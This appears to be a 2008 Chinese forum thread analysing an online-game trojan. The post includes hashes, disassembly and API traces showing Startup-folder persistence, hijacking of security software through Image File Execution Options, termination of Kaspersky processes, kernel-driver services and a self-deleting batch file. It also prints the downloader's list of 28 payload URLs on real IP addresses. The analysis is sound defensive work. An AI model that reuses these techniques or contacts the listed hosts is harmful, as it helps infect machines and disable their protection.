发新话题
打印

Win32.Troj.OnlineGamesT.90112【Display3D.exe,usbcams3.sys,usbhcid.sys】

本主题由 铁军 于 2008-3-18 16:18 设置高亮

Win32.Troj.OnlineGamesT.90112【Display3D.exe,usbcams3.sys,usbhcid.sys】

引用:
写在前面:

1,参考了cyto的分析,可以点击查看
2,貌似还没有入门,分析的一塌糊涂 有错误请高手指出  ^_^
引用:
文件: C:\ogame.exe
大小: 14954 字节
修改时间: 2008年3月17日, 21:48:50
MD5: 77B6D8FA25EF0BE3ACED5C31BCEC35FE
SHA1: E0E60D7D6A67A4486FAF42A7BAA690F1D5C4B401
CRC32: 20D1CBD2
加壳方式:NsPacK V3.7 -> LiuXingPing *
编写语言:Microsoft Visual C++ 6.0 - 8.0


1,拷贝一份放到C:\Documents andSettings\All Users\「开始」菜单\程序\启动. 并命名为 Display3D.exe

2,通过映象挟持包括KPFW32.exe在内的绝大多数安全软件

3,通过URLDownloadToFileA 根据h**p://www.qisihuisheng.net/new.txt 下载 1-28个exe文件

4,通过进程枚举结束卡巴的进程(avp.com?)
部分具体分析

【一,读取病毒的一些数据吧 ^_^】
复制内容到剪贴板
代码:
00401000 >  81EC 1C070000   sub     esp, 71C
00401006    55              push    ebp
00401007    56              push    esi
00401008    57              push    edi
00401009    B9 0E000000     mov     ecx, 0E
0040100E    BE C88E4000     mov     esi, 00408EC8                    ;读取数据?



00408EC8  43 3A 5C 44 6F 63 75 6D 65 6E 74 73 20 61 6E 64  C:\Documents and
00408ED8  20 53 65 74 74 69 6E 67 73 5C 41 6C 6C 20 55 73   Settings\All Us
00408EE8  65 72 73 5C A1 B8 BF AA CA BC A1 B9 B2 CB B5 A5  ers\「开始」菜单
00408EF8  5C B3 CC D0 F2 5C C6 F4 B6 AF 00 00 5C 5C 2E 5C  \程序\启动..\\.\
00408F08  43 3A 00 00 5C 5C 2E 5C 48 50 44 49 53 4B 00 00  C:..\\.\HPDISK..
00408F18  63 3A 5C 25 73 00 00 00 5F 75 6E 69 6E 73 65 70  c:\%s..._uninsep
00408F28  2E 62 61 74 00 00 00 00 3A 52 65 70 65 61 74 0D  .bat....:Repeat.
00408F38  0A 64 65 6C 20 22 25 73 22 0D 0A 69 66 20 65 78  .del "%s"..if ex
00408F48  69 73 74 20 22 25 73 22 20 67 6F 74 6F 20 52 65  ist "%s" goto Re
00408F58  70 65 61 74 0D 0A 00 00 44 65 62 75 67 67 65 72  peat....Debugger
00408F68  00 00 00 00 53 4F 46 54 57 41 52 45 5C 4D 69 63  ....SOFTWARE\Mic
00408F78  72 6F 73 6F 66 74 5C 57 69 6E 64 6F 77 73 20 4E  rosoft\Windows N
00408F88  54 5C 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E  T\CurrentVersion
00408F98  5C 49 6D 61 67 65 20 46 69 6C 65 20 45 78 65 63  \Image File Exec
00408FA8  75 74 69 6F 6E 20 4F 70 74 69 6F 6E 73 00 00 00  ution Options...
00408FB8  6E 74 73 64 20 2D 64 00 25 73 5C 25 64 2E 65 78  ntsd -d.%s\%d.ex
00408FC8  65 00 00 00 25 64 00 00 25 73 5C 75 70 64 61 74  e...%d..%s\updat
00408FD8  61 78 2E 65 78 65 00 00 55 52 4C 00 4E 45 57 56  ax.exe..URL.NEWV
00408FE8  45 52 53 49 4F 4E 00 00 32 30 30 38 2D 32 2D 33  ERSION..2008-2-3
00408FF8  00 00 00 00 4D 41 49 4E 00 00 00 00 56 45 52 53  ....MAIN....VERS
00409008  49 4F 4E 00 5C 57 49 4E 2E 49 4E 49 00 00 00 00  ION.\WIN.INI....
00409018  55 52 4C 44 6F 77 6E 6C 6F 61 64 54 6F 46 69 6C  URLDownloadToFil
00409028  65 41 00 00 55 72 6C 6D 6F 6E 2E 64 6C 6C 00 00  eA..Urlmon.dll..
00409038  44 65 6C 65 74 65 55 72 6C 43 61 63 68 65 45 6E  DeleteUrlCacheEn
00409048  74 72 79 00 57 69 6E 69 6E 65 74 2E 64 6C 6C 00  try.Wininet.dll.
【二,如果已经存在 Display3D.exe则先delete然后复制自身并命名为Display3D.exe,并通过CreateProcessA创建一个进程,通过_uninsep.bat删除自身,然后退出进程】
复制内容到剪贴板
代码:
00401146   /75 5A           jnz     short 004011A2                   ; if z=1 deletefile and
00401148   |8D4C24 0C       lea     ecx, dword ptr [esp+C]
0040114C   |51              push    ecx
0040114D   |FF15 30304000   call    dword ptr [<&KERNEL32.DeleteFile>; KERNEL32.DeleteFileA
00401153   |8D5424 0C       lea     edx, dword ptr [esp+C]
00401157   |6A 00           push    0
00401159   |8D8424 20040000 lea     eax, dword ptr [esp+420]
00401160   |52              push    edx
00401161   |50              push    eax
00401162   |FF15 2C304000   call    dword ptr [<&KERNEL32.CopyFileA>>; KERNEL32.CopyFileA

0012F890   0012FCB8  |ExistingFileName = "C:\DOCUME~1\ADMINI~1\",D7,"烂鎈ogameun_.exe"
0012F894   0012F8A8  |NewFileName = "C:\DOCUME~1\ALLUSE~1\",A1,"",B8,"开始~1\程序\启",B6,"痋

Display3D.exe"
0012F898   00000000  \FailIfExists = FALSE



00401168    8B3D 28304000   mov     edi, dword ptr [<&KERNEL32.Globa>; KERNEL32.GlobalAlloc
0040116E    6A 44           push    44
00401170    6A 40           push    40
00401172    FFD7            call    edi
00401174    6A 10           push    10
00401176    6A 40           push    40
00401178    8BF0            mov     esi, eax
0040117A    FFD7            call    edi
0040117C    50              push    eax
0040117D    56              push    esi
0040117E    6A 00           push    0
00401180    6A 00           push    0
00401182    6A 00           push    0
00401184    6A 00           push    0
00401186    6A 00           push    0
00401188    6A 00           push    0
0040118A    8D4C24 2C       lea     ecx, dword ptr [esp+2C]
0040118E    6A 00           push    0
00401190    51              push    ecx
00401191    C706 04000000   mov     dword ptr [esi], 4
00401197    FF15 24304000   call    dword ptr [<&KERNEL32.CreateProc>; KERNEL32.CreateProcessA

0012F874   0012F8A8  |ModuleFileName = "C:\DOCUME~1\ALLUSE~1\",A1,"",B8,"开始~1\程序\启",B6,"痋

Display3D.exe"
0012F878   00000000  |CommandLine = NULL
0012F87C   00000000  |pProcessSecurity = NULL
0012F880   00000000  |pThreadSecurity = NULL
0012F884   00000000  |InheritHandles = FALSE
0012F888   00000000  |CreationFlags = 0
0012F88C   00000000  |pEnvironment = NULL
0012F890   00000000  |CurrentDir = NULL
0012F894   001349F0  |pStartupInfo = 001349F0
0012F898   0013C5C8  \pProcessInfo = 0013C5C8


0040119D   /E9 BE010000     jmp     00401360

00401360    E8 1B060000     call    00401980                         ; ._uninsep.bat


00401365    6A 00           push    0
00401367    FF15 98304000   call    dword ptr [<&KERNEL32.GetCurrent>; KERNEL32.GetCurrentProcess
0040136D    50              push    eax
0040136E    FF15 A0304000   call    dword ptr [<&KERNEL32.TerminateP>; KERNEL32.TerminateProcess
【三,当Display3D.exe不存在当时候,释放usbcams3.sys 创建名为sc manager的服务 ;释放usbhcid.sys,创建名为iCafe Manager的服务】
复制内容到剪贴板
代码:
004011A7    8D9424 20050000 lea     edx, dword ptr [esp+520]         ; (ASCII

"C:\RG60Plus\Temp\usbcams3.sys")
004011AE    53              push    ebx
004011AF    52              push    edx
004011B0    50              push    eax
004011B1    68 287B4000     push    00407B28
004011B6    E8 D5010000     call    00401390                         ; 释放一个驱动usbcams3.sys
004011BB    68 988E4000     push    00408E98                         ; sc manager
004011C0    8D8C24 34050000 lea     ecx, dword ptr [esp+534]
004011C7    68 988E4000     push    00408E98                         ; sc manager
004011CC    51              push    ecx
004011CD    E8 2E020000     call    00401400                         ; creteservices
004011D2    83C4 18         add     esp, 18



【创建服务的代码】

00401400    53              push    ebx
00401401    56              push    esi
00401402    57              push    edi
00401403    68 3F000F00     push    0F003F
00401408    6A 00           push    0
0040140A    6A 00           push    0
0040140C    FF15 00304000   call    dword ptr [<&ADVAPI32.OpenSCMana>; ADVAPI32.OpenSCManagerA
00401412    8BF0            mov     esi, eax
00401414    85F6            test    esi, esi
00401416    75 04           jnz     short 0040141C
00401418    5F              pop     edi
00401419    5E              pop     esi
0040141A    5B              pop     ebx
0040141B    C3              retn
0040141C    8B5C24 10       mov     ebx, dword ptr [esp+10]          ;驱动路径
00401420    6A 00           push    0
00401422    8B4424 1C       mov     eax, dword ptr [esp+1C]             ;驱动名
00401426    6A 00           push    0
00401428    8B7C24 1C       mov     edi, dword ptr [esp+1C]
0040142C    6A 00           push    0
0040142E    6A 00           push    0
00401430    6A 00           push    0
00401432    53              push    ebx
00401433    6A 00           push    0
00401435    6A 03           push    3
00401437    6A 01           push    1
00401439    68 FF010F00     push    0F01FF
0040143E    50              push    eax
0040143F    57              push    edi
00401440    56              push    esi
00401441    FF15 04304000   call    dword ptr [<&ADVAPI32.CreateServ>; ADVAPI32.CreateServiceA


0012F83C   0013E350  |hManager = 0013E350
0012F840   00408E98  |ServiceName = "Sc Manager"
0012F844   00408E98  |DisplayName = "Sc Manager"
0012F848   000F01FF  |DesiredAccess = SERVICE_ALL_ACCESS
0012F84C   00000001  |ServiceType = SERVICE_KERNEL_DRIVER
0012F850   00000003  |StartType = SERVICE_DEMAND_START
0012F854   00000000  |ErrorControl = SERVICE_ERROR_IGNORE
0012F858   0012FDBC  |BinaryPathName = "C:\RG60Plus\Temp\usbcams3.sys"
0012F85C   00000000  |LoadOrderGroup = NULL
0012F860   00000000  |pTagId = NULL
0012F864   00000000  |pDependencies = NULL
0012F868   00000000  |ServiceStartName = NULL
0012F86C   00000000  \Password = NULL


0012F82C   0013D3F8  |hManager = 0013D3F8
0012F830   00408E88  |ServiceName = "iCafe Manager"
0012F834   00408E88  |DisplayName = "iCafe Manager"
0012F838   000F01FF  |DesiredAccess = SERVICE_ALL_ACCESS
0012F83C   00000001  |ServiceType = SERVICE_KERNEL_DRIVER
0012F840   00000003  |StartType = SERVICE_DEMAND_START
0012F844   00000000  |ErrorControl = SERVICE_ERROR_IGNORE
0012F848   0012FEC0  |BinaryPathName = "C:\RG60Plus\Temp\usbhcid.sys"
0012F84C   00000000  |LoadOrderGroup = NULL
0012F850   00000000  |pTagId = NULL
0012F854   00000000  |pDependencies = NULL
0012F858   00000000  |ServiceStartName = NULL
0012F85C   00000000  \Password = NULL




【打开服务,启动服务 删除文件?】

0040146C    68 FF010F00     push    0F01FF
00401471    57              push    edi
00401472    56              push    esi
00401473    FF15 0C304000   call    dword ptr [<&ADVAPI32.OpenServic>; ADVAPI32.OpenServiceA
00401479    85C0            test    eax, eax
0040147B    75 0D           jnz     short 0040148A
0040147D    56              push    esi
0040147E    FF15 08304000   call    dword ptr [<&ADVAPI32.CloseServi>; ADVAPI32.CloseServiceHandle
00401484    5F              pop     edi
00401485    5E              pop     esi
00401486    33C0            xor     eax, eax
00401488    5B              pop     ebx
00401489    C3              retn
0040148A    6A 00           push    0
0040148C    6A 00           push    0
0040148E    50              push    eax
0040148F    FF15 10304000   call    dword ptr [<&ADVAPI32.StartServi>; ADVAPI32.StartServiceA
00401495    53              push    ebx
00401496    FF15 30304000   call    dword ptr [<&KERNEL32.DeleteFile>; KERNEL32.DeleteFileA


【写文件到yyy2不知道干嘛 cyto说是破坏还原 不清楚 ^_^】


0012F734   0012F75C  |FileName = "\\.\yyy2"
0012F738   C0000000  |Access = GENERIC_READ|GENERIC_WRITE
0012F73C   00000003  |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
0012F740   00000000  |pSecurity = NULL
0012F744   00000003  |Mode = OPEN_EXISTING
0012F748   00000000  |Attributes = 0
0012F74C   00000000  \hTemplateFile = NULL
【四,分别创建线程来完成映象挟持安全软件,根据txt文件下载病毒文件,通过进程结束卡巴进程的】
复制内容到剪贴板
代码:
【创建线程】

004011D5    8B2D 50304000   mov     ebp, dword ptr [<&KERNEL32.Creat>; KERNEL32.CreateThread
004011DB    6A 00           push    0
004011DD    6A 00           push    0
004011DF    6A 00           push    0
004011E1    68 B01F4000     push    00401FB0
004011E6    6A 00           push    0
004011E8    6A 00           push    0
004011EA    FFD5            call    ebp                                     ;创建线程枚举进程来结束avp.com进程
004011EC    6A 00           push    0
004011EE    6A 00           push    0
004011F0    6A 00           push    0
004011F2    68 601C4000     push    00401C60
004011F7    6A 00           push    0
004011F9    6A 00           push    0
004011FB    FFD5            call    ebp                              ; 创建线程用于修改注册表(写入映像

挟持)

00401203    68 30750000     push    7530                             ; 30000 ms
00401208    FFD6            call    esi                              ; sleep


0040134B    6A 00           push    0
0040134D    6A 00           push    0
0040134F    6A 00           push    0
00401351    68 201D4000     push    00401D20
00401356    6A 00           push    0
00401358    6A 00           push    0
0040135A    FFD5            call    ebp                              ; 创建线程根据txt文件下载病毒文件


h**p://www.qisihuisheng.net/new.txt


[MAIN]
VERSION=2008-2-3

[URL]
1=h**p://66.186.34.138/1.exe
2=h**p://66.186.34.138/2.exe
3=h**p://66.186.34.138/3.exe
4=h**p://66.186.34.138/4.exe
5=h**p://66.186.34.138/5.exe
6=h**p://66.186.34.138/6.exe
7=h**p://66.186.37.130/7.exe
8=h**p://66.186.37.130/8.exe
9=h**p://66.186.37.130/9.exe
10=h**p://66.186.37.130/10.exe
11=h**p://66.186.37.130/11.exe
12=h**p://66.186.37.130/12.exe
13=h**p://67.43.158.42/13.exe
14=h**p://67.43.158.42/14.exe
15=h**p://67.43.158.42/15.exe
16=h**p://67.43.158.42/16.exe
17=h**p://67.43.158.42/17.exe
18=h**p://67.43.158.42/18.exe
19=h**p://67.43.158.42/19.exe
20=h**p://67.43.158.42/20.exe
21=h**p://67.43.158.42/21.exe
22=h**p://67.43.158.42/22.exe
23=h**p://67.43.158.42/23.exe
24=h**p://67.43.158.42/24.exe
25=h**p://67.43.158.42/25.exe
26=h**p://67.43.158.42/26.exe
27=h**p://67.43.158.42/27.exe
28=h**p://67.43.158.42/28.exe


进程:
   路径: C:\Documents and Settings\Administrator\桌面\ogameun_.exe
   PID: 692
注册表群组: System
对象:
   注册表键: HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\Image File Execution Options\KPFW32.exe
【五,检查互斥体SH0FJ_NET_PSOFJEIF__FJE3345FEF_HM。如果不存在就创建一个互斥体 】
复制内容到剪贴板
代码:
00401318    68 588E4000     push    00408E58                         ; sh0fj_net_psofjeif__fje3345fef_hm
0040131D    6A 00           push    0
0040131F    68 01001F00     push    1F0001
00401324    FF15 90304000   call    dword ptr [<&KERNEL32.OpenMutexA>; KERNEL32.OpenMutexA
0040132A    85C0            test    eax, eax
0040132C    5B              pop     ebx
0040132D    75 36           jnz     short 00401365
0040132F    8D4424 0C       lea     eax, dword ptr [esp+C]
00401333    50              push    eax  
00401334    E8 170E0000     call    00402150                         ;创建进程Display3D.exe
00401339    83C4 04         add     esp, 4
0040133C    68 588E4000     push    00408E58                         ; sh0fj_net_psofjeif__fje3345fef_hm
00401341    6A 00           push    0
00401343    6A 00           push    0
00401345    FF15 94304000   call    dword ptr [<&KERNEL32.CreateMute>; KERNEL32.CreateMutexA
本帖最近评分记录
  • 无事无非 威望 +50 鼓励原创支持静态反汇编分析 2008-3-18 09:29

TOP

看来启动文件夹真应该删个干净,一个不留,
不然Display3D.exe还真迷惑人

TOP

看来你的帖子又要收藏了。
暂时不懂反汇编。郁闷。

TOP

学习

TOP

厉害啊··
`你的电脑?
`呵..
`我的权限!

TOP

发新话题